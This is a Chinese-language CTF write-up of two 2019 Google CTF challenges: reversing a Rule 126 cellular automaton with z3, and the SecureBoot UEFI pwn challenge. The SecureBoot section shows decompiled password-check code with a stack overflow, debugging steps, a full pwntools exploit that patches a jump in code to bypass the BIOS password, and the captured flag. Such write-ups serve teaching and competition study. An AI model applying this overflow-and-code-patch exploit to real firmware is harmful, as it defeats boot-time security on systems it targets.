2019-googlectf-writeup-part2

2019 googlectf writeup 下半段

2019 GoogleCTF part2

Crypto

Reverse a cellular automata

本质上为一个算法题(大雾)

题目描述

题目描述是说,当前使用了一种叫做胞元自动机cellular automata的东西(就是题目里面那个东西)的算法。这个东西解释起来有、、复杂,不过现实中很多地方都见过。胞元自动机相当于是定义了一种规则。假设我们定义了如下的3*3的方块:

1
2
3
= = =
= = =
= = =

假定如下的规则:

  • =表示活着的细胞
  • +表示死了的细胞
  • 定义一个规则:如果细胞四周(上下左右)有>=3个细胞存在,由于细胞养料不足,当前的细胞会死亡;否则,因为养料充足,细胞会重新活过来

胞元自动机是以状态为概念的。也就是说每一个细胞只考虑当前状态下周围的养料情况,不考虑下一个状态。那么根据规则,下一个状态的方块中的细胞会变成:

1
2
3
= + =
+ + +
= + =

可以注意到,此时“死去”了很多个细胞。虽然根据资源分配的话,四周的细胞死亡后,正中间的细胞本来是不必死去的,但是根据状态,它也会进入这个状态。然后再下一个状态就是:

1
2
3
= = =
= = =
= = =

恢复成最初的形状。这种就叫做胞元自动机的变化过程。
有很多的胞元自动机规则,分别就是规定了这种变化过程。题目中给出的Wolfram rule 126也是一种变化的规则:

第一排为当前状态。也就是说仅仅在当前状态以及相邻两个状态均相等的时候,当前状态转变成0,否则转变成1

题解

题目中给出了一个密文,并且给出了一个64bit下的胞元自动机生成的数字,推测出上一个状态,对应的数字作为密文的密钥即可解开答案:

1
2
3
4
Flag (base64)
U2FsdGVkX1/andRK+WVfKqJILMVdx/69xjAzW4KUqsjr98GqzFR793lfNHrw1Blc8UZHWOBrRhtLx3SM38R1MpRegLTHgHzf0EAa3oUeWcQ=
Obtained step (in hex)
66de3c1bf87fdfcf

这里观察Rule 126,可以发现一些规律。这里推荐网站https://www.wolframalpha.com/input/?i=Rule+126,里面已经帮我们总结了规律。
这种有规律,求解的问题都可以用z3来解决。这里参考https://blog.julianjm.com/Google-CTF-2019/#Automata照着写了一个:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
from z3 import *
BITS = 64
target = 0x66de3c1bf87fdfcf
# Solver, which will help to get answer
solver = Solver()
# define the cell rule
def cell(p, q, r):
return Or(Xor(p,q), Xor(p,r))
#define the step for get step-answer
def step(src):
return [cell(src[i-1], src[i], src[(i+1)%BITS]) for i in range(BITS)]
# define Bool array
src = BoolVector("src", BITS)
# and calculate the dst
dst = step(src)
# now add restriction
for i in range(BITS):
mask = 1 << (BITS - 1 - i)
solver.add (dst[i] == bool(target & mask))
# and calculate answer
while solver.check() == sat:
model = solver.model()
solbits = "".join(['1' if model.eval(src[i]) else '0' for i in range(BITS)])
print("%x"%int(solbits, 2))
# here we add a list into solver to tell solver that we don't need this kind of answer, so
# z3 will show another answer
solver.add(Or([ model[v]!=v for v in src]))

基本上是把人家的搬运了一下。。。
这个输出非常多,可以用bash脚本之类的主动调用题目中给出的解题指令,即可得到答案。

SecureBoot

1
Your task is very simple: just boot this machine. We tried before but we always get ‘Security Violation’. For extra fancyness use socat -,raw,echo=0 tcp:$IP:$PORT'.

这个题目是一个pwn题,从名字中可以知道应该是和一个叫做Secure Boot的特性相关的一个题目。这个特性其实是关于UEFI(Unified Extensible Firmware Interface)的一个子特性。

binwalk查看之后,发现是一个UEFI文件,然后用UEFITool查看之后发现里面内容如下:

官方给出的run.py脚本如下:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/python3
import os
import tempfile
fname = tempfile.NamedTemporaryFile().name
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))
os.system("qemu-system-x86_64 -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -nographic 2> /dev/null" % (fname))
os.system("rm -rf %s" % (fname))

其中qemu那段启动的内容意思为:

  • -monitor /dev/null:将监视器重定向到主机的空白设备。
  • -m 128M: 设置启动时候的RAM大小为128M
  • -drive if=pflash,format=raw,file=%s: 设置一个驱动,同时可以设置相关的设备类型。这里设置的设备接口为pflash(闪存,相当于是连接了bios的那个东东),磁盘格式为raw,意味着不需要检测格式头,然后定义了当前的OVMF.fd作为当前的操作镜像。这句话相当于是模拟了一个写有UEFI的闪存挂载到操作系统上的一个过程
  • -drive file=fat:rw:contents,format=raw: 同理,这句话设置了一个驱动,不过这里是将contents目录作为硬盘格式挂载到这上面(标注为raw之后就不需要关注是不是MBR/GPT的磁盘了)
  • -net none: 不支持网络通信
  • 2 > /dev/null: 重定向错误流

尝试运行这段内容后,程序会输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
FS0: Alias(s):HD1a1:;BLK3:
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
BLK0: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)
BLK1: Alias(s):
PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)
BLK2: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
BLK4: Alias(s):
PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
If Secure Boot is enabled it will verify kernel's integrity and
return 'Security Violation' in case of inconsistency.
Booting...
Script Error Status: Security Violation (line number 5)

根据输出,我们知道当前的OVMF.fd中的UEFI开启了SecureBoot的特性,而当前内核并没有签名,导致了内核没有能够加载。

企图绕过

在UEFI加载的时候,有四个阶段

1
SEC(安全检测,完成从flat mode 到 real mode)--PEI(EFI前期初始化,初始化各个模块,CPU/IO等等)--DXE(初始化各类驱动)--BDS(初始化键鼠驱动,VGA等等)

但在这四个阶段之后,还会有一个叫做TSL(操作系统加载前期)的阶段,这个阶段中就是在最初的UEFI加载完成之后(但是还没有尝试开始运行的时候),会从主板上(CMOS处)加载关于UEFI的配置(也就是通常说的进入BIOS)。在这之后才会正式进入RT(Runtime)加载操作系统等等。
所以想到,我们可以通过手动修改BIOS的配置来关闭SecureBoot。但是该题没有告诉我们到底怎么进入BIOS,此时只能一通乱按,终于发现是在按下了f12的时候可以打开这个界面:

1
2
3
4
5
6
7
8
9
10
BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
* *
* Welcome to the BIOS! *
* *
****************************
Password?
****

这里会发现,程序在DXE阶段加载了一个好叫做UiAPP的文件,并且要求我们输入密码。于是这里想到说,这个UiAPP可能是实现了输入密码功能的一个自定义的EFI文件。此时我们注意到7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1这个值,这个值我们在UEFITool的截图中看到过。

于是想到,能不能将这个文件导出来看一下。这里使用工具uefi-firmware-parser进行导出:

1
uefi-firmware-parser -ecO ./OVMF.fd

输出中可以开到如下的内容:

1
2
3
4
5
6
File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application)
Section 0: type 0x10, size 0x1be44 (114244 bytes) (PE32 image section)
Section 1: type 0x19, size 0x34 (52 bytes) (Raw section)
Section 2: type 0x15, size 0x10 (16 bytes) (User interface name section)
Name: UiApp
Section 3: type 0x14, size 0xe (14 bytes) (Version section section)

这段就是我们需要找到的内容(目录有点深,得搜索出来才行)

1
SecureBoot\OVMF.fd_output\volume-0\file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331

漏洞点

首先利用全局搜索找到字符串L”Password”,发现其相关函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
__int64 checkPassword()
{
unsigned __int16 index; // ax
char v2; // [rsp+2Ch] [rbp-BCh]
__int16 chr; // [rsp+2Eh] [rbp-BAh]
char v4; // [rsp+30h] [rbp-B8h]
char buffer[128]; // [rsp+38h] [rbp-B0h]
__int64 v6; // [rsp+B8h] [rbp-30h]
_QWORD *v7; // [rsp+C0h] [rbp-28h]
__int64 v8; // [rsp+C8h] [rbp-20h]
unsigned __int16 i; // [rsp+D6h] [rbp-12h]
unsigned __int64 error_time; // [rsp+D8h] [rbp-10h]
error_time = 0i64;
v8 = 32i64;
wputs(L"****************************\n");
wputs(L"* *\n");
wputs(L"* Welcome to the BIOS! *\n");
wputs(L"* *\n");
wputs(L"****************************\n\n");
v7 = (_QWORD *)Initialize(32i64);
while ( error_time <= 2 )
{
i = 0;
wputs(L"Password?\n");
while ( 1 )
{
while ( 1 )
{
v6 = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))(
*(_QWORD *)(qword_1BC68 + 48),
&v2);
if ( v6 >= 0 )
{
if ( chr )
break;
}
if ( v6 == 0x8000000000000006i64 )
(*(void (__fastcall **)(__int64, __int64, char *))(qword_1BC78 + 96))(
1i64,
*(_QWORD *)(qword_1BC68 + 48) + 16i64,
&v4);
}
if ( chr == '\r' )
break;
if ( i <= 139u )
{
index = i++;
buffer[index] = chr;
}
wputs("*");
}
buffer[i] = 0;
wputs(L"\n");
sha256((__int64)buffer, i, (__int64)v7);
if ( *v7 == 0xDEADBEEFDEADBEEFi64
&& v7[8] == 0xDEADBEEFDEADBEEFi64
&& v7[16] == 0xDEADBEEFDEADBEEFi64
&& v7[24] == 0xDEADBEEFDEADBEEFi64 )
{
sub_C46((__int64)v7);
return 1i64;
}
wputs("W");
++error_time;
}
sub_C46((__int64)v7);
return 0i64;
}

程序要求我们输入128个字节,然后将这128个字节进行sha256,结果要为四个DEADBEEFDEADBEEF的时候,就会返回1表示密码输入正确。
这里会发现一个很显眼的漏洞点:程序允许我们读入140字节,但是申请的空间却只有128个字节那么大。总共可以多溢出12个字节。由于这里是位于EFI程序中,此时地址并不是特别高位,所以可以粗略的认为我们此时可以修改v6和v7处的变量

从定义上可以发现,v7是一个地址,而我们栈溢出又正好可以溢出到v7的地址处,于是一个自然的想法就是,通过爆破sha256,得到一个粗略任意地址写的一个漏洞(因为必须要将buffer进行sha256,所以这个写入也不是那么受控制,不过如果控制了v7相当于是可以往部分位置写数据了)

那么要往哪里写呢?这个倒是一个大问题,毕竟这个题目不是在通常的运行环境下,没有libc等一系列东西,所以得考虑用别的办法。不过其实考虑到,分页保护这个过程发生在操作系统加载之后,那么应该会意识到,此时的EFI程序应该是不存在页保护的

动态调试

修改题目中给出的run.py

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python3
import os
import tempfile
fname = tempfile.NamedTemporaryFile().name
os.system("cp OVMF.fd %s" % (fname))
os.system("chmod u+w %s" % (fname))
print("Here")
os.system("qemu-system-x86_64 -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -gdb tcp::1234 -S -nographic 2> /dev/null" % (fname))
# 增加gdb选项,并且增加-S,表示等待调试器连接上才运行
os.system("rm -rf %s" % (fname))

之后启动gdb,然后输入

1
target remote 127.0.0.1:1234

即可连接调试。
链接进去后用手速进入输入password的界面,然后断下来,检查内部执行情况可以发现,此时的程序段的确都是可执行的:

之后有一个满头疼的点,我们需要找到此时的uiapp被映射的位置。这里似乎没有什么好办法,只能说翻找栈看看第三位有没有和IDA相同的数字了。通过逆向分析,可以知道如下的汇编:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
.text:000000000000FF1E
.text:000000000000FF1E loc_FF1E: ; CODE XREF: checkPassword+C2↑j
.text:000000000000FF1E mov rax, 8000000000000006h
.text:000000000000FF28 cmp [rsp+0E8h+var_30], rax
.text:000000000000FF30 jz short loc_FF35
.text:000000000000FF32 nop
.text:000000000000FF33 jmp short loc_FEDE
.text:000000000000FF35 ; ---------------------------------------------------------------------------
.text:000000000000FF35
.text:000000000000FF35 loc_FF35: ; CODE XREF: checkPassword+E0↑j
.text:000000000000FF35 mov rax, cs:qword_1BC78
.text:000000000000FF3C mov rax, [rax+60h]
.text:000000000000FF40 mov rdx, cs:qword_1BC68
.text:000000000000FF47 mov rdx, [rdx+30h]
.text:000000000000FF4B add rdx, 10h
.text:000000000000FF4F lea rcx, [rsp+0E8h+var_B8]
.text:000000000000FF54 mov r8, rcx
.text:000000000000FF57 mov ecx, 1
.text:000000000000FF5C call rax ; 这里发生了类似scanf的调用
.text:000000000000FF5E jmp loc_FEDE

猜想说此处的rax调用的正是读取数据的函数,所以我们此时需要查找栈中地址尾部为F5E的地址,最后成功找到再:

1
24:0120│ 0x7ec17c8 —▸ 0x67daf5e ◂— jmp 0x67daede /* 0x44b70fffffff7be9 */

于是可以计算出此时段的基地址为67daf5e - ff5e = 67CB000

利用思路

代码段本身居然能被修改,而且没有开启ASLR,这意味这我们不需要leak就可以修改任意内容,我们需要巧妙的利用这一点。这里比较容易想到的一点就是修改发生比较前后的代码。将发生跳转的

1
2
.text:000000000000FFBE cmp rdx, rax
.text:000000000000FFC1 jz short loc_10008; -------jump--from--here--->>

这个位置修改成jmp $+b3,那么就可以直接跳转到

1
2
.text:0000000000010074 mov eax, 1; <------arrive--here-----
.text:0000000000010079 jmp short loc_100B4

不过查看反汇编,会发现jmp +$0xb3需要的字节码有、长,为\xe9\xae\x00\x00\x00,因为这个地方有一个无符号数0xb3,而爆破这么长的字节显然不合适,但是反向跳跃不需要那么多字节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.text:0000000000010074 mov eax, 1 ;<---------arrive here
.text:0000000000010079 jmp short loc_100B4
.text:000000000001007B loc_1007B: ; CODE XREF: checkPassword+173↑j
.text:000000000001007B ; checkPassword+1D4↑j ...
.text:000000000001007B lea rcx, aW ; -------jump from here ---->
.text:0000000000010082 call wputs
.text:0000000000010087 add [rsp+0E8h+var_10], 1
.text:0000000000010090
.text:0000000000010090 loc_10090: ; CODE XREF: checkPassword+73↑j
.text:0000000000010090 cmp [rsp+0E8h+var_10], 2
.text:0000000000010099 jbe loc_FEC8
.text:000000000001009F mov rax, [rsp+0E8h+exp]
.text:00000000000100A7 mov rdi, rax
.text:00000000000100AA call sub_C46
.text:00000000000100AF mov eax, 0

如果从指定的位置进行jmp的话,那么此时只需要0x1007b - 0x10074=0x7,也就是说此时只需要跳转jmp $f9(\xeb\xf7)即可:
那么接下来要做的事情就很简单了:

  • 溢出修改v7的值为`0x67db07b
  • 计算sha256,让开头两字节为\xeb\xf7

说到调试问题,可以加入-s/-gdb tcp::1234表示进入调试模式,让程序先运行起来,然后本地使用gdb远程链接过去(此时注意qemu的命令行中不要加入-S防止被挂起)

在调试期间发现一个漏掉的问题点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v6 = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))(
*(_QWORD *)(qword_1BC68 + 48),
&v2);
if ( v6 >= 0 )
{
if ( chr )
break;
}
if ( v6 == 0x8000000000000006i64 )
(*(void (__fastcall **)(__int64, __int64, char *))(qword_1BC78 + 96))(
1i64,
*(_QWORD *)(qword_1BC68 + 48) + 16i64,
&v4);
}

这个地方的v6在栈上位于v7之前,通过测试发现在读入我们的输入的时候会被置为00000000,所以在计算sha256的时候需要把这段默认为0,但是发送数据的时候这一段需要设置为任意可见字符防止被截断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
# -*- codingP:utf-8 -*-
#!/usr/bin/python3
from pwn import *
import os
import tempfile
import string
import hashlib
DEBUG = False
fname = ""
ph = None
exp_opcode = "jmp $-0x7"
# target_addr = 0x67db07b - 32 + 2
target_addr = 0x67db07b
if DEBUG:
ph = process("./run.py")
#context.log_level = 'debug'
#context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(ph)
else:
ph = remote('secureboot.ctfcompetition.com', 1337)
def bruce(opcode):
last_opcode = asm(opcode, arch="amd64", os="linux")
for i in string.printable:
for j in string.printable:
for k in string.printable:
payload = i + j + k + "A"*125 + '\x00'*8 + p32(target_addr)
if hashlib.sha256(payload).digest()[:2] == last_opcode:
log.info("Find payload" + payload)
print(hashlib.sha256(payload).hexdigest())
payload = payload[0:128] + "A"*8 + payload[136:]
log.info("Find payload" + payload)
return payload
log.info("Find nothing..")
return ""
def exploit(ph):
# input("wait for gdb")
# just sleep to wait
print ph.recvn(1)
# sleep(1)
ph.send("\x1b[24~")
# sleep(1)
print ph.recvuntil("Password")
# a=raw_input("wait for gdb")
payload = bruce(exp_opcode)
# payload = "A"
ph.send(payload+"\r")
# ph.send('1010' + 'A' * 0x84 + p32(0x7ec18b8 - 32 + 1) + '\r')
def local(ph):
exploit(ph)
ph.interactive()
print("Finish attack, will delete file")
os.system("rm -rf %s" % (fname))
if __name__ == "__main__":
# local(ph)
exploit(ph)
ph.interactive()

如果只是本地测试的话,可以使用

1
socat -,raw,echo=0 SYSTEM:"python exploit.py"

来进行启动,会得到如下的画面:

然后设置一下Secure Boot就能够让其正常启动。修改成remote模式之后即可到达最终答案


CTF{pl4y1ng_with_v1rt_3F1_just_4fun}